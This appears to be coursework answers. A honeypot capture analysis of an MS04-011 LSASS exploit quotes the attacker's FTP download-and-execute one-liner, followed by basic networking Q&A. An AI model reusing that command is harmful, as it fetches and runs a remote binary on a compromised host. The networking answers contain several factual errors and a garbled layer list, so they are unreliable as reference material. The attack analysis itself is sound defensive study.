1.Which systems (i.e., IP addresses) are involved?

The attacker 98.114.205.102

The honeypot 192.150.11.111

2. What can you find out about the attacking host (e.g., where is it located)?

Tool used: http://www.hostip.info/

Operating System: Windows XP. Associated Domain name: pool-98-114-205 102.phlapa.fios.verizon.net Hostname:

HOD IP Address: 98.114.205.102 MAC Address: 0008E23B5601 (Cisco Systems) Geolocation Details: Country Code: US Country Name: United States Region: PA Region Name: Pennsylvania City: Southampton Postal Code: 18966 Latitude: 40.1877 Longitude: -75.0058 ISP: Verizon Internet Services Organization: Verizon Internet Services Metro Code: 504 Area Code: 215 Approximate Address: 83-325 Elm Ave, Churchville, PA 18966

3.How many TCP sessions are contained in the dump file?

use Wireshark -> Statistics -> Conversations -> TCP. We have 5 TCP sessions that were established between the attack and victim, keep in mind Wireshark TCP streams start at 0 so our streams go from 0 – 4 for a total of 5.

4.Which operating system was targeted by the attack? And which service? Which vulnerability?

Using WireShark I can see that Samba (SMB) is being used. SMB sends along some OS information when it’s setting up so if you look at packet 16 in the SMB header you can see Windows 2000. On packet 33 you can see a big list of 1’s and Wireshark reporting a “long frame”. If you follow the TCP streams, you’ll also note that this is the end of TCP steam 1. If we take a look at what’s going on we see that the attacker is sending DsRoleUpgradeDownlevelServer and following it with a buffer overflow. With some quick searching I found that this is exploit MS04-011 which exploits a vulnerable LSASS function aka. The Sasser worm.

5.Can you sketch an overview of the general actions performed by the attacker? Which are the protocols involved? What can you tell about the payload?

TCP Connection 1 – The attacker initiates and closes a TCP connection with the victim. Most likely recon for open 445 port.

TCP Connection 2 – SMB Connection is established, attacker exploits LSASS with a buffer overflow

TCP Connection 3 – The following code is ran “echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe (&’s indicate line breaks)

TCP Connection 4 – A user logs in via a FTP backdoor and requests a binary to be downloaded

TCP Connection 5 – Binary is downloaded to victim machine

1.What are the differences between the OSI model and the TCP/IP model?

OSI Model

It stands for Open System Interconnection. OSI model has been developed by ISO (International Standard Organization).

It is an independent standard and generic protocol used as a communication gateway between the network and the end user. In the OSI model, the transport layer provides a guarantee for the delivery of the packets.

This model is based on a vertical approach. In this model, the session and presentation layers are separated, i.e., both the layers are different.

It is also known as a reference model through which various networks are built. For example, the TCP/IP model is built from the OSI model. It is also referred to as a guidance tool.

In this model, the network layer provides both connection-oriented and connectionless service. Protocols in the OSI model are hidden and can be easily replaced when the technology changes.

It consists of 7 layers. OSI model defines the services, protocols, and interfaces as well as provides a proper distinction between them. It is protocol independent.

The usage of this model is very low. It provides standardization to the devices like router, motherboard, switches, and other hardware devices.

TCP/IP Model

It stands for Transmission Control Protocol. It was developed by ARPANET (Advanced Research Project Agency Network).

It consists of standard protocols that lead to the development of an internet. It is a communication protocol that provides

the connection among the hosts. The transport layer does not provide the surety for the delivery of packets. But still, we can say that it is a reliable model.

This model is based on a horizontal approach. In this model, the session and presentation layer are not different layers.

Both layers are included in the application layer. It is an implemented model of an OSI model.

The network layer provides only connectionless service. In this model, the protocol cannot be easily replaced.

It consists of 4 layers. In the TCP/IP model, services, protocols and interfaces are not properly separated. It is protocol dependent.

This model is highly used. It does not provide the standardization to the devices. It provides a connection between various computers.

2.How many layers do these two models have?

OSI Model consists of 7 layers and TCP/IP Model and consists of 4 layers

3. What do the acronyms TCP and IP refer to?

TCP/IP, in full Transmission Control Protocol/Internet Protocol, standard Internet

communications protocols that allow digital computers to communicate over long distances.

1.

Physical Network

Ethernet (IEEE 802.3) Token Ring, RS-232, others

2.

Data Link

PPP, IEEE 802.2

3.

Internet

IP, ARP, ICMP

4.

Transport

TCP, UDP

5.

5,6,7

Application

NFS, NIS+, DNS, telnet, ftp, rlogin, rsh, rcp, RIP, RDISC, SNMP, and others

6. Explain how a connection gets established, in other words, explain the "3-way handshake" process?

Three-Way HandShake or a TCP 3-way handshake is a process which is used in a TCP/IP network to make a connection between the server and client. It is a three-step process that requires both the client and server to exchange synchronization and acknowledgment packets before the real data communication process starts.

Three-way handshake process is designed in such a way that both ends help you to initiate, negotiate, and separate TCP socket connections at the same time. It allows you to transfer multiple TCP socket connections in both directions at the same time.

TCP message types

Message Description

Syn Used to initiate and establish a connection. It also helps you to synchronize sequence numbers between devices.

ACK - Helps to confirm to the other side that it has received the SYN.

SYN-ACK - SYN message from local device and ACK of the earlier packet.

FIN - Used to terminate a connection.

TCP - Three-Way Handshake Process

Step 1: In the first step, the client establishes a connection with a server. It sends a segment with SYN and informs the server about the client should start communication, and with what should be its sequence number.

Step 2: In this step server responds to the client request with SYN-ACK signal set. ACK helps you to signify the response of segment that is received and SYN signifies what sequence number it should able to start with the segments.

Step 3: In this final step, the client acknowledges the response of the Server, and they both create a stable connection will begin the actual data transfer process.

7.Explain how a connection is terminated, in other words, explain the "4-way disconnect" process?

This is how the TCP 4-way disconnect works:

The client sends a FIN packet to the server and updates its state to FIN\_WAIT\_1

The server receives the termination request from the client, responds with ACK and moves to CLOSE\_WAIT

The client receives the reply from the server and will go to FIN\_WAIT\_2

The server is in CLOSE\_WAIT and will follow up with FIN, which updates the state to LAST\_ACK

The client receives the termination request and replies with an ACK, which results in a TIME\_WAIT state

The server is finished and sets connection to CLOSED

The client stays in TIME\_WAIT for a maximum of 4 minutes before setting the connection to CLOSED

8.Explain what are the "sequence number" and "acknowledgment number" in TCP.

This sequence number is included on each transmitted packet, and acknowledged by the opposite host as an acknowledgement number to inform the sending host that the transmitted data was received successfully.

9. What is the fundamental difference between TCP and UDP?

TCP is a connection-oriented protocol, whereas UDP is a connectionless protocol.

A key difference between TCP and UDP is speed, as TCP is comparatively slower than UDP.

Overall, UDP is a much faster, simpler, and efficient protocol, however, retransmission of lost data packets is only possible with TCP

10.What are TCP ports? How many of them are they? What are the three main categories of TCP Ports (with their associated range)?

A TCP port is a 16-bit, unsigned value, so there's a finite number of TCP ports available in the world. Specifically, there are 65,535 available TCP ports.

The port numbers are divided into three ranges:

Well-known ports. The well-known ports are those from 0 - 1,023. ...

Registered ports. The registered ports are those from 1,024 - 49,151. ...

Dynamic and/or private ports. The dynamic and/or private ports are those from 49,152 - 65,535.

11. Provide three examples of well-known port numbers and tell to which Application layer protocol they refer to.

FTP - File Transfer Protocol transfers files between clients and servers. TCP 20(DATA) 21(CONTROL)

SSH & SCP Secure Shell & Secure Copy. A replacement for Telnet and FTP using encryption vs. clear text. TCP 22

Telnet allows a user to log in remotely and execute commands on a remote host. TCP 23

SMTP Simple Mail Transfer Protocol for sending mail server to server or client to server. TCP 25

DNS - Domain Name Service for domain name resolution. TCP and UDP 53

TFTP - Trivial File Transfer Protocol transfers files between servers and client without requiring and user login. UDP 69

HTTP - Hypertext Transfer Protocol for web browser connections. TCP 80

POP3 - Post Office Protocol -Email clients retrieve email from servers TCP 110

NNTP - Network News Transfer Protocol transfers news group messages. UDP 119

NTP - Network Time Protocol - synchronize the time clock on TCP/IP hosts. UDP 123

NetBIOS Name Service for Microsoft File and Print Sharing TCP 137

NetBIOS Datagram Service for Microsoft File and Print Sharing TCP 138

NetBIOS Session Service for Microsoft File and Print Sharing TCP 139

IMAP - Internet Message Access Protocol to access email messages while leaving them on the server TCP 143

SNMP - Simple Network Management Protocol for Network management to remotely monitor network devices UDP 161

LDAP - Lightweight Directory Access Protocol to search and update information in directories. TCP 389

HTTPS - HTTP over SSL (Secure Sockets Layer) for encrypted web browser connections TCP 443

Raw SMB - When NetBIOS support is disabled, Microsoft File and Print Sharing uses this port. TCP 445

IGMP - Internet Group Multicast Protocol to register as members of a multicast group. UDP 463

LPR - Line Printer Protocol used to communicate between LPR client and LPD Line Printer Daemon Server. Typically, Unix/Linux. TCP 515

12. Explain the concept of TCP packets and how they are built over the layer flow.

A packet is the basic unit of information in network transmission. Most networks use TCP/IP as the network protocol, or set of rules for communication between devices, and the rules of TCP/IP require information to be split into packets that contain both a segment of data to be transferred and the address where the data is to be sent.

Image search result for "how TCP packets are built over the layer flow."

When the packet arrives on the receiving host, the packet travels through the TCP/IP protocol stack in the reverse order from which it was sent.

The physical network layer receives the packet in its frame form. The physical network layer computes the CRC of the packet, then sends the frame to the data link layer.